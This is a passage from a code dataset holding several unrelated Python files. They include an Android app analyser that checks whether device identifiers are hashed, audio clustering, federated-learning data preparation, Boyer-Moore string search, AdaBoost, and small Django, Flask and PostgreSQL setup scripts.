sub_method_slice_hash(alllines,num):\n lines=\"\"\n\n while(num<len(alllines)):\n line=alllines[num-1].strip()\n lines+=line+\" \"\n if line==\"})\" or line==\"}})\" or line==\"}}})\":\n break\n num=num+1\n if \"hashCode\" in lines:\n return 1\n if \"MessageDigest\" in lines:\n return 1\n if \"nameUUIDFromBytes\" in lines:\n return 1\n if \"md5\" in lines:\n return 1\n return 0\n\ndef method_slice_hash(alllines,num):\n global outfile\n lines=\"\"\n sub_method_hashed=0\n while(num<len(alllines)):\n line=alllines[num-1].strip()\n lines+=line+\" \"\n # outfile.write(line)\n # outfile.write('\\n')\n if line==\"})\" or line==\"}})\" or line==\"}}})\":\n break\n num=num+1\n if \"@signature\" in line:\n arr=line.split('@signature')\n arr2=arr[1].split('@')\n sub_method=arr2[0].strip()\n flag=find_sub_method_slice_hash(alllines,sub_method)\n if flag==1:\n sub_method_hashed=1\n if \"hashCode\" in lines:\n return 1\n if \"MessageDigest\" in lines:\n return 1\n if \"nameUUIDFromBytes\" in lines:\n return 1\n if \"md5\" in lines:\n return 1\n if sub_method_hashed==1:\n return 1\n else:\n return 0\n\ndef find_methods(search_text,filename):\n global methodHash\n id_methods = []\n try:\n with open(filename) as File:\n file_variable = open(filename)\n all_lines = file_variable.readlines()\n id_methods=[]\n for num, line in enumerate(File, 1):\n if search_text in line:\n #print('Found text at line: ', num)\n methodname,method_start_line=find_the_method_slice(all_lines,num)\n if methodname not in id_methods and len(methodname)>0:\n id_methods.append(methodname)\n hash=method_slice_hash(all_lines, method_start_line)\n print(\"hash: \", hash)\n methodHash[methodname]=hash\n except:\n print(\"nofile\",filename)\n return id_methods\n\ndef find_AndroidID_methods(search_text,filename):\n id_methods = []\n try:\n with open(filename) as File:\n file_variable = open(filename)\n all_lines = file_variable.readlines()\n id_methods=[]\n for num, line in enumerate(File, 1):\n if search_text in line:\n #print('Found text at line: ', num)\n text=all_lines[num+1].strip()\n if \"android_id\" not in text:\n continue\n methodname,method_start_line=find_the_method_slice(all_lines,num)\n if methodname not in id_methods and len(methodname)>0:\n id_methods.append(methodname)\n hash=method_slice_hash(all_lines, method_start_line)\n print(\"hash: \", hash)\n methodHash[methodname]=hash\n except:\n print(\"nofile\",filename)\n return id_methods\n\n\ndef search_method(search_text,filename,idNo):\n global IMEI_id_methods, IMSI_id_methods, android_id_methods, ad_id_methods,serial_id_methods,Guid_id_methods,mac_id_methods\n with open(filename) as File:\n file_variable = open(filename)\n all_lines = file_variable.readlines()\n text_calling_methods=[]\n for num, line in enumerate(File, 1):\n if search_text in line:\n #print('Found text at line: ', num)\n #print(all_lines[num - 1])\n if(num in Foundlines):\n continue\n methodname,method_start_line=find_the_method_slice(all_lines,num)\n if methodname.__contains__(\".onClick\"):\n continue\n global printed_methods\n if methodname in printed_methods:\n continue\n if methodname.strip()==search_text.strip():\n continue\n if methodname not in text_calling_methods and len(methodname)>0:\n text_calling_methods.append(methodname)\n hash = method_slice_hash(all_lines, method_start_line)\n print(\"hash: \", hash)\n methodHash[methodname] = hash\n if(idNo==1):\n IMEI_id_methods+=text_calling_methods\n elif (idNo==2):\n IMSI_id_methods+=text_calling_methods\n elif (idNo==3):\n android_id_methods+=text_calling_methods\n elif(idNo==5):\n serial_id_methods+=text_calling_methods\n elif(idNo==6):\n ad_id_methods+=text_calling_methods\n elif(idNo==4):\n mac_id_methods+=text_calling_methods\n else:\n Guid_id_methods += text_calling_methods\n\n\n\n\n\n\n\nlibraries_apps_count={}\nlibraries_hash={}\nlibraries_imei={}\nlibraries_imsi={}\nlibraries_aid={}\nlibraries_serial={}\nlibraries_mac={}\nlibraries_adid={}\nlibraries_guid={}\nschemeMethods={}\nmethodHash={}\nFoundlines = []\nprinted_methods = []\nmethods = {}\nIMEI_id_methods=[]\nIMSI_id_methods=[]\nmac_id_methods=[]\nandroid_id_methods=[]\nserial_id_methods=[]\nad_id_methods=[]\nGuid_id_methods=[]\nown_package_count=0\nfor file in Apps:\n im_raw= 0\n im_hash=0\n ims_raw= 0\n ims_hash=0\n aid_raw= 0\n aid_hash=0\n sid_raw= 0\n sid_hash=0\n mac_raw=0\n mac_hash=0\n adid = 0\n guid = 0\n\n IMEI_id_methods=find_methods(IMEI,\"FinanceApps/\"+file)\n IMSI_id_methods=find_methods(IMSI,\"FinanceApps/\"+file)\n android_id_methods=find_AndroidID_methods(AndroidID,\"FinanceApps/\"+file)\n mac_id_methods = find_methods(MacAddress, \"FinanceApps/\" + file)\n serial_id_methods = find_methods(SERIAL, \"FinanceApps/\" + file)\n ad_id_methods = find_methods(AdvertisingID, \"FinanceApps/\" + file)\n Guid_id_methods = find_methods(UUID, \"FinanceApps/\" + file)\n\n\n all_id_methods=IMEI_id_methods+IMSI_id_methods+android_id_methods+ad_id_methods+serial_id_methods+Guid_id_methods+mac_id_methods\n\n all_id_methods = list(dict.fromkeys(all_id_methods))\n for method in all_id_methods:\n hashed=0\n print(file,method)\n if method==\"\":\n continue\n if methodHash[method]==1:\n hashed=1\n\n if method in IMEI_id_methods:\n if hashed==1:\n im_hash+=1\n else:\n im_raw+=1\n\n if method in IMSI_id_methods:\n if hashed==1:\n ims_hash+=1\n else:\n ims_raw+=1\n if method in android_id_methods:\n if hashed==1:\n aid_hash+=1\n else:\n aid_raw+=1\n\n if method in mac_id_methods:\n if hashed==1:\n mac_hash+=1\n else:\n mac_raw+=1\n\n if method in serial_id_methods:\n\n if hashed==1:\n sid_hash+=1\n else:\n sid_raw+=1\n if method in ad_id_methods:\n adid+=1\n\n if method in Guid_id_methods:\n guid+=1\n\n\n\n\n fw.write(str(file) + ',' +str(im_hash)+','+ str(im_raw) + ',' + str(\n ims_hash) + ','+str(ims_raw)+','+ str(aid_hash) + ','+str(aid_raw)+','+ str(sid_hash) + ','+str(sid_raw)+ ','+ str(mac_hash)+ ','+str(mac_raw)+ ',' + str(adid) + ',' + str(guid))\n fw.write('\\n')\n\n","sub_path":"CFG_analyzer/Graph_analyzer_app_wise_hash_id_check_finance.py","file_name":"Graph_analyzer_app_wise_hash_id_check_finance.py","file_ext":"py","file_size_in_byte":9497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"263786560","text":"import os\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport scipy\nimport librosa\nimport glob\nfrom tqdm import tqdm\nimport json\n\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n# Currently existings songs in the songs folder\nexistingSongsNames = []\n\n# Get all wav files from that folder and store them in a list\nsongsList = glob.glob(dir_path + \"\\\\..\\\\StreamingAssets\\\\AudioFiles\\\\*.wav\")\nfor i in songsList:\n existingSongsNames.append(os.path.basename(i))\n\n\n# A list of audio files that have been already analyzed\nanalyzedDataListNames = []\n\n# Open json file to get already analyzed files\nwith open(dir_path + \"\\\\AnalyzedFeaturesList.json\") as aFile:\n loadedData = json.load(aFile)\n for p in loadedData:\n analyzedDataListNames.append(p[\"Name\"])\n\n# Check if existing files have been analyzed\ndef IsAnalysisRequired():\n for obj in existingSongsNames:\n if not obj in analyzedDataListNames:\n return True\n\n# Check if there are files for analysis\n# if there are none, exit the script\nif IsAnalysisRequired() != True:\n print(\"There is nothing to analyze!\")\n exit()\n\nprint(\"Analysis is required. Initiating analysis...\")\nprint(\"This might take a while. It depends on how many songs have to be analyzed. Be Patient.\")\n# Create a list to store analyzed features afterwards\nanalyzedFeatureList = []\n\n# Extracting features from each an audio file in the list\nfor index, f in enumerate(tqdm(songsList)):\n # audio file name\n audioName = os.path.basename(f)\n\n if audioName in analyzedDataListNames:\n continue\n\n try:\n # Read wav-file\n y, sr = librosa.load(f, sr = 22050)\n\n feature_list = []\n\n tempo = librosa.beat.tempo(y, sr=sr)\n feature_list.extend(tempo)\n\n spectral_contrast = librosa.feature.spectral_contrast(y, sr=sr, n_bands = 6, fmin = 200.0)\n feature_list.append(np.mean(spectral_contrast[1]))\n feature_list.append(np.mean(spectral_contrast[2]))\n feature_list.append(np.mean(spectral_contrast[3]))\n\n mfccs = librosa.feature.mfcc(y, sr=sr, n_mfcc=20)\n feature_list.append(np.mean(mfccs[4]))\n feature_list.append(np.std(mfccs[1]))\n feature_list.append(np.std(mfccs[5]))\n\n\n feature_list[1:] = np.round(feature_list[1:], decimals=3)\n\n except:\n pass\n \n features = np.array([feature_list])\n\n ### Using K-means to\n ### analyze the features\n ### of the audio file\n\n\n pkl_filename = dir_path + \"\\\\kmeans_final_model.pkl\"\n\n with open(pkl_filename, 'rb') as file: \n pickle_model = pickle.load(file)\n\n # Die Zahlen kommen aus dem Datensatz und seinem Minimum/Maximum\n\n X_norm = (features - (-27.943))/(172.266 - (-27.943))\n\n # This is a one digit number between 0-9\n result = pickle_model.predict(X_norm)[0]\n\n\n featureDic = {\n \"Name\" : audioName,\n \"FeatureGroup\" : int(result)\n }\n analyzedFeatureList.append(featureDic)\n\n# Open the json file and copy its content\nwith open(dir_path + \"\\\\AnalyzedFeaturesList.json\") as f:\n data = json.load(f)\n\n# Add new analyzed songs into the list of previously analyzed ones\nfinalList = data + analyzedFeatureList\n\n# Open the json file and rewrite its content to update the list\nwith open(dir_path + \"\\\\AnalyzedFeaturesList.json\", \"w\") as f:\n json.dump(finalList, f, indent=4)\n","sub_path":"Assets/MLData/CategorizeSong.py","file_name":"CategorizeSong.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"422670280","text":"import torch\nimport numpy as np\nimport pickle\nimport os\nimport torchvision\nimport argparse\nfrom random import shuffle\ncpath = os.path.dirname(__file__)\n\nSAVE = True\nnp.random.seed(6)\n\n\ndef read_options():\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--dataset',\n help='name of dataset (mnist, cifar10);',\n type=str,\n default='mnist')\n parser.add_argument('--use_1d_feature',\n action='store_true',\n default=False,\n help='represent the image data by 1d feature')\n parser.add_argument('--num_client',\n help='number of clients',\n default=10,\n type=int)\n\n parsed = parser.parse_args()\n options = parsed.__dict__\n\n return options\n\n\nclass ImageDataset(object):\n def __init__(self, images, labels, options, normalize=False):\n if isinstance(images, torch.Tensor):\n if options['use_1d_feature']:\n self.data = images.view(-1, 784).numpy()/255\n else:\n self.data = images.numpy()\n else:\n self.data = images\n if normalize and options['use_1d_feature']:\n mu = np.mean(self.data.astype(np.float32), 0)\n sigma = np.std(self.data.astype(np.float32), 0)\n self.data = (self.data.astype(np.float32) - mu) / (sigma + 0.001)\n if not isinstance(labels, np.ndarray):\n labels = np.array(labels)\n self.target = labels\n\n def __len__(self):\n return len(self.target)\n\n\ndef data_split(data, num_split):\n delta, r = len(data) // num_split, len(data) % num_split\n data_lst = []\n i, used_r = 0, 0\n while i < len(data):\n if used_r < r:\n data_lst.append(data[i:i+delta+1])\n i += delta + 1\n used_r += 1\n else:\n data_lst.append(data[i:i+delta])\n i += delta\n return data_lst\n\n\ndef main():\n\n options = read_options()\n dataset_file_path = os.path.join(cpath, options['dataset'] + '/data')\n\n # Get data, normalize, and divide by level\n if options['dataset'] == 'mnist':\n print('>>> Get MNIST data.')\n trainset = torchvision.datasets.MNIST(dataset_file_path, download=True, train=True)\n testset = torchvision.datasets.MNIST(dataset_file_path, download=True, train=False)\n elif options['dataset'] == 'cifar10':\n print('>>> Get CIFAR10 data.')\n trainset = torchvision.datasets.CIFAR10(dataset_file_path, download=True, train=True)\n testset = torchvision.datasets.CIFAR10(dataset_file_path, download=True, train=False)\n else:\n raise Exception('Unknown dataset.')\n\n train = ImageDataset(trainset.data, trainset.targets, options)\n test = ImageDataset(testset.data, testset.targets, options)\n\n num_class = len(np.unique(train.target))\n traindata = []\n for number in range(num_class):\n idx = train.target == number\n traindata.append(train.data[idx])\n\n testdata = []\n for number in range(num_class):\n idx = test.target == number\n testdata.append(test.data[idx])\n\n data_distribution = np.array([len(v) for v in traindata])\n data_distribution = np.round(data_distribution / data_distribution.sum(), 3)\n print('>>> Train Number distribution: {}'.format(data_distribution.tolist()))\n\n\n # Assign train samples to each user\n train_X = [[] for _ in range(options['num_client'])]\n train_y = [[] for _ in range(options['num_client'])]\n test_X = [[] for _ in range(options['num_client'])]\n test_y = [[] for _ in range(options['num_client'])]\n\n print(\">>> Data is non-i.i.d. distributed\")\n\n user = 0\n print(user, np.array([len(v) for v in traindata]))\n\n for d in range(num_class):\n l = len(traindata[d])\n train_X[user] += traindata[d].tolist()\n train_y[user] += (d * np.ones(l)).tolist()\n\n l = len(testdata[d])\n test_X[user] += testdata[d].tolist()\n test_y[user] += (d * np.ones(l)).tolist()\n\n image = 1 if not options['use_1d_feature'] else 0\n train_path = '{}/data/train/all_data_{}_one_client.pkl'.format(os.path.join(cpath, options['dataset']), image)\n test_path = '{}/data/test/all_data_{}_one_client.pkl'.format(os.path.join(cpath, options['dataset']), image)\n\n dir_path = os.path.dirname(train_path)\n if not os.path.exists(dir_path):\n os.makedirs(dir_path)\n\n dir_path = os.path.dirname(test_path)\n if not os.path.exists(dir_path):\n os.makedirs(dir_path)\n\n # Create data structure\n train_data = {'users': [], 'user_data': {}, 'num_samples': []}\n test_data = {'users': [], 'user_data': {}, 'num_samples': []}\n\n # Setup 1000 users\n for i in range(options['num_client']):\n uname = i\n\n train_data['users'].append(uname)\n train_data['user_data'][uname] = {'x': train_X[i], 'y': train_y[i]}\n train_data['num_samples'].append(len(train_X[i]))\n\n test_data['users'].append(uname)\n test_data['user_data'][uname] = {'x': test_X[i], 'y': test_y[i]}\n test_data['num_samples'].append(len(test_X[i]))\n\n print('>>> User data distribution: {}'.format(train_data['num_samples']))\n print('>>> Total training size: {}'.format(sum(train_data['num_samples'])))\n print('>>> Total testing size: {}'.format(sum(test_data['num_samples'])))\n\n # Save user data\n if SAVE:\n with open(train_path, 'wb') as outfile:\n pickle.dump(train_data, outfile)\n with open(test_path, 'wb') as outfile:\n pickle.dump(test_data, outfile)\n\n print('>>> Save data.')\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"data/generate_random_iid_one_client.py","file_name":"generate_random_iid_one_client.py","file_ext":"py","file_size_in_byte":5734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"294204913","text":"# -*- coding: utf-8 -*-\nfrom zope.interface import Interface\n# -*- Additional Imports Here -*-\nfrom zope import schema\n\nfrom automator.nbr import nbrMessageFactory as _\n\n\n\nclass INBRChamadaQuente(Interface):\n \"\"\"Chamada code episodio de programa de grade\"\"\"\n\n # -*- schema definition goes here -*-\n voz = schema.List(\n title=_(u\"Voz\"),\n required=True,\n description=_(u\"Selecione o locutor ou a locutora\"),\n )\n#\n programa = schema.List(\n title=_(u\"Programa\"),\n required=True,\n description=_(u\"Selecione o programa\"),\n )\n#\n dia = schema.List(\n title=_(u\"Dia da semana\"),\n required=True,\n description=_(u\"Selecione o dia da semana\"),\n )\n#\n horario = schema.List(\n title=_(u\"Horario\"),\n required=True,\n description=_(u\"Selecione o horario\"),\n )\n#\n","sub_path":"automator/nbr/interfaces/nbrchamadaquente.py","file_name":"nbrchamadaquente.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"410009706","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\n ┏┛ ┻━━━━━┛ ┻┓\n ┃       ┃\n ┃   ━   ┃\n ┃ ┳┛  ┗┳ ┃\n ┃       ┃\n ┃   ┻   ┃\n ┃       ┃\n ┗━┓   ┏━━━┛\n ┃   ┃ 神兽保佑\n ┃   ┃ 代码无BUG!\n ┃   ┗━━━━━━━━━┓\n ┃        ┣┓\n ┃     ┏┛\n ┗━┓ ┓ ┏━━━┳ ┓ ┏━┛\n ┃ ┫ ┫ ┃ ┫ ┫\n ┗━┻━┛ ┗━┻━┛\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution(object):\n def pathSum(self, root, sums):\n \"\"\"\n :type root: TreeNode\n :type sum: int\n :rtype: List[List[int]]\n \"\"\"\n a = []\n if not root:\n return []\n\n def dfs(root, al):\n if root.right:\n dfs(root.right, al + [root.right.val])\n if root.left:\n dfs(root.left, al + [root.left.val])\n if not root.right and not root.left:\n if sum(al) == sums:\n a.append(al)\n\n dfs(root, [root.val])\n return a\n","sub_path":"L0101~L0150/L0113.py","file_name":"L0113.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"390517528","text":"'''\r\n - Implementation of Boyer Moore Algorithm for Pattern Searching\r\n using both bad character and good suffix rules.\r\n\r\n - Created by : Khalid Gad\r\n'''\r\n\r\nclass BoyerMoore:\r\n \r\n def __init__(self):\r\n pass\r\n\r\n def bad_char_heuristic(self, p, m):\r\n\r\n NO_OF_CHARS = 256\r\n\r\n bad_char = [-1]*NO_OF_CHARS\r\n\r\n for i in range(m):\r\n bad_char[ord(p[i])] = i\r\n\r\n return bad_char\r\n\r\n\r\n def GS_preprocess1(self, border, steps, p, m):\r\n\r\n i, j = m, m +1\r\n\r\n border[i] = j\r\n\r\n while i > 0:\r\n\r\n while j <= m and p[i-1] != p[j-1]:\r\n\r\n if steps[j] == 0:\r\n steps[j] = j-i\r\n\r\n j = border[j]\r\n\r\n i -= 1\r\n j -= 1\r\n border[i] = j\r\n\r\n \r\n def GS_Preprocess2(self, border, steps, m):\r\n \r\n j = border[0]\r\n\r\n for i in range(m+1):\r\n\r\n if steps[i] == 0:\r\n steps[i] = j\r\n\r\n if i == j:\r\n j = border[j]\r\n\r\n\r\n def preprocess(self, p, m):\r\n\r\n bad_char = self.bad_char_heuristic(p, m)\r\n border = [0]*(m+1)\r\n steps = [0]*(m+1)\r\n self.GS_preprocess1(border, steps, p, m)\r\n self.GS_Preprocess2(border, steps, m)\r\n\r\n return bad_char, border, steps\r\n\r\n\r\n def search(self, text, pattern):\r\n\r\n occurrence = []\r\n\r\n t, n, p, m = text, len(text), pattern, len(pattern)\r\n\r\n bad_char, border, steps = self.preprocess(p, m)\r\n\r\n i = 0\r\n while i < n-m+1:\r\n\r\n j = m-1\r\n\r\n while j >= 0 and t[i+j] == p[j]:\r\n j -= 1\r\n \r\n if j < 0:\r\n occurrence.append(i)\r\n i += max(steps[0], (m-bad_char[ord(t[i+m])] if i+m<n else 1))\r\n\r\n else:\r\n i += max(steps[j+1],j-bad_char[ord(t[i+j])]) \r\n\r\n return occurrence\r\n \r\ndef main():\r\n\r\n txt = input(\"txt : \")\r\n p = input(\"p : \")\r\n print(BoyerMoore().search(txt, p))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","sub_path":"BoyerMoore.py","file_name":"BoyerMoore.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"618214339","text":"\"Запись в файл \"\n\n\ndef main():\n with open('referat.txt','r',encoding='utf-8') as myfile:\n #for line in myfile:\n content = myfile.read()\n leng_content=len(content)\n count_words=len(content.split())\n content_exclamatory=content.replace(\".\",\"!\")\n print(leng_content)\n print(count_words)\n print(content_exclamatory)\n with open('referat2.txt','w',encoding='utf-8') as myfile2:\n myfile2.write(content_exclamatory)\n\nif __name__ == \"__main__\":\n main()","sub_path":"lesson3/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"600025629","text":"import psycopg2\r\nfrom logger import log\r\n\r\n\r\n\r\n\r\n\r\n\r\nfrom login import(\r\nsql_user,\r\nsql_password,\r\nsql_host,\r\nsql_database\r\n)\r\n\r\n\r\ntry:\r\n connection = psycopg2.connect(user = sql_user,\r\n password = sql_password,\r\n host = sql_host,\r\n port = \"5432\",\r\n database = sql_database)\r\n cursor = connection.cursor()\r\n cursor.execute(\"SELECT version();\")\r\n record = cursor.fetchone()\r\n log.info(\"You are connected to - \"+str(record))\r\n\r\nexcept (Exception, psycopg2.Error) as error:\r\n log.critical(\"Error while connecting to PostgreSQL \"+str(error))\r\n exit()\r\n\r\ndef setup():\r\n def create_table():\r\n try:\r\n cursor = connection.cursor()\r\n postgreSQL_select_Query = \"\"\"\r\n CREATE TABLE ban(\r\n u VARCHAR(32),\r\n rems INT);\r\n \"\"\"\r\n\r\n cursor.execute(postgreSQL_select_Query)\r\n connection.commit()\r\n check_tables()\r\n except (Exception, psycopg2.Error) as error:\r\n if(connection):\r\n print(\"Failed to insert record into mobile table\", error)\r\n\r\n def check_tables():\r\n try:\r\n cursor = connection.cursor()\r\n postgreSQL_select_Query = \"\"\"\r\n SELECT\r\n table_schema || '.' || table_name\r\n FROM\r\n information_schema.tables\r\n WHERE\r\n table_type = 'BASE TABLE'\r\n AND\r\n table_schema NOT IN ('pg_catalog', 'information_schema');\r\n \"\"\"\r\n cursor.execute(postgreSQL_select_Query)\r\n db = cursor.fetchall()\r\n for row in db:\r\n if row[0] == \"public.ban\":\r\n log.info(\"setup finished\")\r\n exit()\r\n except (Exception, psycopg2.Error) as error:\r\n if(connection):\r\n print(\"Failed to insert record into mobile table\", error)\r\n\r\n if check_tables() == \"OK\":\r\n pass\r\n else:\r\n create_table()\r\n\r\n\r\nsetup()","sub_path":"src/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"507841803","text":"import calendar\nimport datetime\nnow = datetime.datetime.now()\n\nyear = now.year\nmonth = now.month\nlast_day = calendar.monthrange(year,month)[1] ## 最后一天\n## 拼接\nstart = datetime.date(year,month,1)\nprint (start)\n\nend = datetime.date(year,month,last_day)\nprint (end)\n\n## 转date\n\n\na = {\"name\":\"hello\",\"age\":19}\nprint (\"namename\" in a.keys())\na = {\"name\":5,\"age\":19,\"name3\":26,\"age3\":3,\"name4\":26}\n# 找到最大的value\n## 找到对应的key\n\nb=[]\nfor key,value in a.items():\n if value==max(a.values()):\n print(key,value)\n b.append(key)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Qshop/time_demo.py","file_name":"time_demo.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"300084561","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom channels.layers import get_channel_layer\nfrom asgiref.sync import async_to_sync\nimport json\n# Create your models here.\n\nclass Notification(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n notification = models.TextField(max_length=100)\n is_seen = models.BooleanField(default=False)\n \n def save(self,*args,**kwargs):\n channel_layer = get_channel_layer() # get all layer\n notification_objs = Notification.objects.filter(is_seen=False).count()\n data = { \"count\" : notification_objs, \"current_notification\":self.notification }\n super(Notification,self).save(*args,**kwargs)\n \n async_to_sync(channel_layer.group_send)(\n 'test_consumer_group',{\n 'type' : 'send_notification',\n 'value' : json.dumps(data)\n }\n )\n \n \nclass Student(models.Model):\n name = models.CharField(max_length=200)\n email = models.CharField(max_length=200)\n address = models.CharField(max_length=200)\n age = models.IntegerField() \n ","sub_path":"home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"343780146","text":"import pandas as pd\r\nimport numpy as np\r\nfrom AML.PA2.Tree import COLUMN_NAMES, grow_tree, print_tree, predict_class, LABEL_VAL\r\nfrom collections import namedtuple, Counter\r\n\r\nPrediction = namedtuple('Prediction', ['idx', 'label', 'prediction'])\r\nWeakLearner = namedtuple('WeakLearner', ['tree', 'alpha'])\r\n\r\n\r\ndef error(weights, predictions):\r\n numerator = 0\r\n for p in predictions:\r\n if p.label != p.prediction:\r\n numerator += weights[p.idx]\r\n return numerator / sum(weights)\r\n\r\n\r\ndef alpha(epsilon):\r\n return 0.5 * np.log((1 - epsilon) / epsilon)\r\n\r\n\r\ndef get_predictions(tree, df):\r\n ret_val = []\r\n for r in df.iterrows():\r\n idx, r = r[0], r[1]\r\n p = predict_class(tree, r)\r\n ret_val.append(Prediction(idx, r[LABEL_VAL], p))\r\n return ret_val\r\n\r\n\r\ndef adjust_weights(predictions, weights, alpha_):\r\n ret_val = np.copy(weights)\r\n\r\n for p in predictions:\r\n if p.label == p.prediction:\r\n ret_val[p.idx] *= np.power(np.e, -alpha_)\r\n else:\r\n ret_val[p.idx] *= np.power(np.e, alpha_)\r\n print(p, weights[p.idx], ret_val[p.idx])\r\n\r\n # L1 norm\r\n ret_val = ret_val / sum(ret_val)\r\n return ret_val\r\n\r\n\r\ndef ada_boost(df, attributes, iterations=1, max_depth=3):\r\n weak_learners = []\r\n weights = np.ones(len(df)) / len(df)\r\n for _ in range(iterations):\r\n # print(\"weights:\", weights)\r\n df_train = df.sample(n=len(df), weights=weights, replace=True)\r\n\r\n tree = grow_tree(df_train, attributes, max_depth=max_depth)\r\n print_tree(tree)\r\n\r\n predictions = get_predictions(tree, df_train)\r\n\r\n epsilon_ = error(weights, predictions)\r\n\r\n # print(\"Epsilon:\", epsilon_)\r\n\r\n alpha_ = alpha(epsilon_)\r\n # print(\"Alpha:\", alpha_)\r\n weights = adjust_weights(predictions, weights, alpha_)\r\n # print(\"Weights:\", weights)\r\n weak_learners.append(WeakLearner(tree, alpha_))\r\n if epsilon_ == 0:\r\n break\r\n return weak_learners\r\n\r\n\r\ndef predict_boosted(forest, row):\r\n result = Counter()\r\n for weak_learner in forest:\r\n tree = weak_learner.tree\r\n alpha_ = weak_learner.alpha\r\n p = predict_class(tree, row)\r\n result[p] += alpha_\r\n # print(result)\r\n return result.most_common(1)[0]\r\n\r\n\r\ndef confusion_matrix(forest, test):\r\n \"\"\"\r\n prints the confusion matrix\r\n :param train: training data\r\n :param test: test data\r\n :param depth: depth of the tree\r\n :return:\r\n \"\"\"\r\n true_positives = 0.0\r\n true_negatives = 0.0\r\n false_positives = 0.0\r\n false_negatives = 0.0\r\n for row in test.iterrows():\r\n row = row[1]\r\n pc = predict_boosted(forest, row)[0]\r\n rc = row[LABEL_VAL]\r\n if pc == rc and pc == 'f':\r\n true_negatives += 1\r\n if pc == rc and pc == 't':\r\n true_positives += 1\r\n if pc != rc and pc == 't':\r\n false_negatives += 1\r\n if pc != rc and pc == 'f':\r\n false_positives += 1\r\n print(\"=== Confusion Matrix ===\")\r\n print(\"TN: %s \\t\\t\\t FP: %s | Actual negatives :%s\" % (\r\n true_negatives, false_positives, true_negatives + false_positives))\r\n print(\"FN: %s \\t\\t\\t TP: %s | Actual positives :%s\" % (\r\n false_negatives, true_positives, false_negatives + true_positives))\r\n print(\"Predicted N: %s\\tPredicted P: %s\" % (true_negatives + false_negatives, false_positives + true_positives))\r\n\r\n\r\nif __name__ == '__main__':\r\n # df = pd.read_csv(\"mushroom_train.csv\") # , header=None, names=COLUMN_NAMES)\r\n\r\n # df = pd.read_csv(\"mushroom_data.csv\", header=None, names=COLUMN_NAMES)\r\n # msk = np.random.rand(len(df)) < 0.8\r\n # df_train = df[msk]\r\n # df_test = df[~msk]\r\n # df_train.to_csv(\"mushroom_train.csv\", header=False, index=False)\r\n # df_test.to_csv(\"mushroom_test.csv\", header=False, index=False)\r\n # exit()\r\n df_train = pd.read_csv(\"mushroom_train.csv\", header=None, names=COLUMN_NAMES)\r\n df_test = pd.read_csv(\"mushroom_test.csv\", header=None, names=COLUMN_NAMES)\r\n # df = pd.read_csv(\"mushroom_data.csv\", header=None, names=COLUMN_NAMES)\r\n\r\n attributes = list(COLUMN_NAMES)\r\n attributes.remove(LABEL_VAL)\r\n\r\n # forest = ada_boost(df, list(df.columns)[1:-1], iterations=10)\r\n forest = ada_boost(df_train, attributes, iterations=1, max_depth=1)\r\n # print(forest)\r\n confusion_matrix(forest, df_test)\r\n","sub_path":"AML/PA2/Adaboost.py","file_name":"Adaboost.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"558364977","text":"import datetime\nimport os\nfrom unipath import Path\n\ntry:\n from .keys import *\nexcept:\n pass\n\nSECRET_KEY = 'do or do not. there is no try. (c) Yoda'\nBASE_DIR = Path(__file__).ancestor(2)\n\nUPLOAD_FOLDER = BASE_DIR.child('media')\nUPLOAD_URL = '/media/'\n\nSTATIC_FOLDER = BASE_DIR.child('static')\nSTATIC_URL = '/static/'\n\n\nALLOWED_EXTENSIONS = ['jpg', 'jpe', 'jpeg', 'png']\n\nDEFAULT_AVATAR = '/media/default_user.jpg'\n\nCSRF_ENABLED = True\n\n# creating log file\nDATETIME_NOW = datetime.datetime.now().strftime(\"%d_%m_%Y\")\nLOG_FILE = os.path.join(BASE_DIR.child('logs'), 'log_{date}.txt'.format(date=DATETIME_NOW))\nMAX_LOG_SIZE = 1024 * 2 # 2 MB\nLOG_DEFAULT_FORMAT = '[%(asctime)s] p%(process)s {%(pathname)s:%(lineno)d} %(levelname)s - %(message)s'\n\nif not os.path.isfile(LOG_FILE):\n with open(LOG_FILE, 'w') as f:\n f.write(DATETIME_NOW+'\\n')\n\n\n# Facebook settigns\nREQUIRED_FIELDS = ['id', 'first_name', 'last_name', 'email']\n\n","sub_path":"config/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"553285578","text":"'''\nurls for alphacheck api\n'''\nfrom django.urls import include, path\n\nfrom . import views\nfrom .utils import VERSION_REGISTRY\n\n\n# pylint: 